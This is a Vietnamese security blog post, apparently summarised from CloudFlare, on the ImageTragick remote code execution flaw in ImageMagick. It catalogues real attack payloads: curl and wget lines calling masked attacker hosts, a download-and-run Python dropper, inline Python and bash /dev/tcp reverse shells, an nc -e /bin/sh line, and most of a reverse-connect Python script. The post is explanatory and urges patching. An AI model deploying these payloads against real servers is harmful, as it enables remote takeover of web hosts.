J2TEAM Security: A must-have extension for Chrome users. Install now!

ImageTragick: Payload thực sự dùng để hack trang web

Tuần vừa qua rất nhiều lỗ hổng được công bố trong phần mềm xử lý ảnh nổi tiếng, ImageMagick. Những lỗ hổng này nhanh chóng được đặt tên là ImageTragick.
Tuần vừa qua rất nhiều lỗ hổng được công bố trong phần mềm xử lý ảnh nổi tiếng, ImageMagick. Những lỗ hổng này nhanh chóng được đặt tên là ImageTragick. Mặc dù một lỗ hổng trong phần mềm xử lý ảnh trông có vẻ không phải là một vấn đề đối với chủ sở hữu trang web nhưng thực tế nó chính là một vấn đề bảo mật đáng quan tâm.

imagemagick-imagetragick-exploit-payloads
Rất nhiều trang web cho phép người dùng tải lên những hình ảnh và thường xử lý các hình ảnh này bằng cách sử dụng phần mềm như ImageMagick. Ví dụ, nếu bạn tải một bức ảnh cá nhân để sử dụng như một ảnh đại diện, nó sẽ thường được thay đổi kích cỡ bởi trang web. ImageMagick rất phổ biến và có các plugin làm nó dễ dàng sử dụng với PHP, Ruby, Node.js và các ngôn ngữ khác vì thế nó thường dùng cho các trang web trong việc thay đổi kích cỡ hoặc crop ảnh.

Thật không may, các nhà nghiên cứu đã phát hiện rằng nó có thể thực thi mã lệnh tùy ý (CVE-2016-3714) bằng cách ẩn mã độc bên trong các tập tin ảnh mà một người dùng tải lên. Điều đó có nghĩa là một kẻ tấn công có thể khiến một máy chủ web tự tấn công chính mình bằng cách tải lên một ảnh chứa mã độc mà kẻ tấn công chọn.

Như mọi khi, điều quan trọng lúc này là người sử dụng ImageMagick cập nhật càng sớm càng tốt để được bảo vệ đầy đủ.

Shellshock 2?

Bash Shell Shock ImageTragick

Đáng buồn thay, ImageTragick cũng tương tự như Shellshock: những kẻ tấn công không cần phải tinh vi để tận dụng lợi thế của nó và thực thi mã lệnh tùy ý trên một máy chủ web dính lỗi. Shellshock đặc biệt khó chịu là bởi vì nó quá phổ biến; ImageTragick ít phổ biến hơn nhưng là một vấn đề thực sự đối với các trang sử dụng nó để xử lý hình ảnh do người dùng tải lên.

Tình hình thực tế

Tin xấu là lỗ hổng này đang bắt đầu được hacker tích cực sử dụng để tấn công các trang web. Tôi đã tập hợp các ví dụ của các payload phổ biến nhất được sử dụng bởi các hacker. Đây không phải là vũ khí nên tôi đã gỡ bỏ hình ảnh từ payload để chắc chắn rằng không ai có thể chỉ đơn giản copy và paste để thực hiện một cuộc tấn công. Tôi cũng che các địa chỉ IP và tên trang web được sử dụng bởi các kẻ tấn công.
Các payload phổ biến nhất chứa đoạn mã sau đây:

fill 'url(https://pre09.example.net/15bd/th/pre/f/2012/237/c/7/all_work_and_no_something
someting_by_nebezial-d5cdlor.jpg";curl "example.com)'

Payload đặc biệt này không gây bất kỳ tổn thương nào, lệnh curl chỉ trả về văn bản của một lỗi 301 Moved Permanently HTTP. Kẻ tấn công có thể sử dụng nó như một cách để kiểm tra xem exploit (mã khai thác) có thể hoạt động trên một trang web chỉ định hay không. Một khi họ biết rằng có gì đó hoạt động thì họ có thể trở lại và thử xâm nhập vào máy chủ bằng cách sử dụng một payload phức tạp hơn.

Payload tiếp theo trông giống như cũng được sử dụng để kiểm thử:

<image xlink:href="https://127.0.0.1/image.jpg"|wget xx.xx.116.214/loltest;" 
x="0" y="0" height="140px" width="140px"/>

Lệnh wget trả về kết quả trong một lỗi 404 Not Found (mặc dù có thể có một tập tin thực sự được tải về tại một số điểm). Kể cả với một lỗi 404, một kẻ tấn công có thể xem qua các bản log tại máy chủ của họ (máy chủ tại xx.xx.116.214) để khám phá địa chỉ IP của trang web bất kỳ mà payload đã hoạt động. Họ có thể trở lại trang web sau này để tấn công nó đúng cách.

Truy cập từ xa

Một kiểu payload khác trông như này:

fill 'url(https://127.0.0.0/sdfsdf.jpg"|wget -o- a0074942.example.com/dfgdfg >
"/tmp/dfgfdgfdg)'

Kẻ tấn công tải về một tập tin (có lẽ từ một máy chủ họ kiểm soát) bằng cách sử dụng wget và lưu nó vào một tập tin trên máy chủ của trang web. Điều này có thể là khúc dạo đầu cho một cuộc tấn công lớn hơn và các nội dung của tập tin tạm có thể sẽ chứa một chương trình được thực thi trên máy chủ web cho phép kẻ tấn công truy cập vào.
imagemagick-imagetragick-exploit-payloads
CC BY-SA 2.0 image by Todd Ehlers

Một payload nguy hiểm hơn đã rất phổ biến với những kẻ tấn công vào cuối tuần qua:

fill 'url(https://example.com/image.jpg"|wget http://example.com/x.py 
-o /tmp/x.py && python /tmp/x.py xx.xx.15.179 80")'

Đoạn mã này sẽ tải một chương trình python tên là x.py từ một máy chủ mà kẻ tấn công kiểm soát, lưu nó thành /tmp/x.py và sau đó thực thi nó. Các tham số của chương trình là địa chỉ IP và cổng của một máy tính để liên lạc. Mã lệnh python kết nối với máy tính đó và tạo một shell trên máy chủ web cho kẻ tấn công. Khi đó, kẻ tấn công có thể tương tác trực tiếp với máy chủ web.

Đây là đoạn chương trình python được tải về:

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""

import sys,os,socket
shell = "/bin/sh"

def usage(name):
    print 'python reverse connector'
    print 'usage: %s <ip_addr> <port>' % name


def main():    
if len(sys.argv) !=3:  
     usage(sys.argv[0])   
     sys.exit()

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()

[...]

    pty.spawn(shell)
    s.close()

if __name__ == '__main__':
    main()

Một biến thể của payload này giúp loại bỏ sự cần thiết của việc tải về chương trình python và chèn nó trong chính payload:

fill 'url(https://example.com/image.jpg"|/bin/echo -e \'import 
socket\x2csubprocess\x2cos;s=socket.socket(socket.af_inet\x2csocket.sock_stream);
s.connect(("xx.xx.24.85"\x2c443));p=subprocess.call(\x5b"/bin/sh"\x2c"-i"\x5d);\'
> /dev/shm/a.py|python "/dev/shm/a.py)'

Bắt truy cập vào máy chủ thông qua một shell hoặc một kết nối khác có vẻ phổ biến với các kẻ tấn công đã sử dụng payload như này:

fill 'url(https://\x22|setsid /bin/bash -i >/dev/tcp/xx.xx.248.51/443
0<&1 2>&1")'

fill 'url(https://profile-photos.example.com/production/000/003/658/b4eb8_
xtralarge.png"|nc -e /bin/sh xx.xx.151.208

Đoạn thứ nhất sử dụng setsid để tạo một phiên làm việc mới và sau đó bám lên Bash Shell với một kết nối TCP trở lại máy chủ của hacker. Đoạn thứ hai sử dụng nc để cố gắng thực hiện điều tương tự.

Tất cả các payload này đã được thiết kế để cung cấp cho hacker truy cập tự do vào máy chủ web dính lỗi. Với một mã khác thác đơn lẻ họ có thể truy cập từ xa và sau đó tiến hành hack máy chủ web vào lúc họ rảnh rỗi.

Tóm lược dựa theo CloudFlare.
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!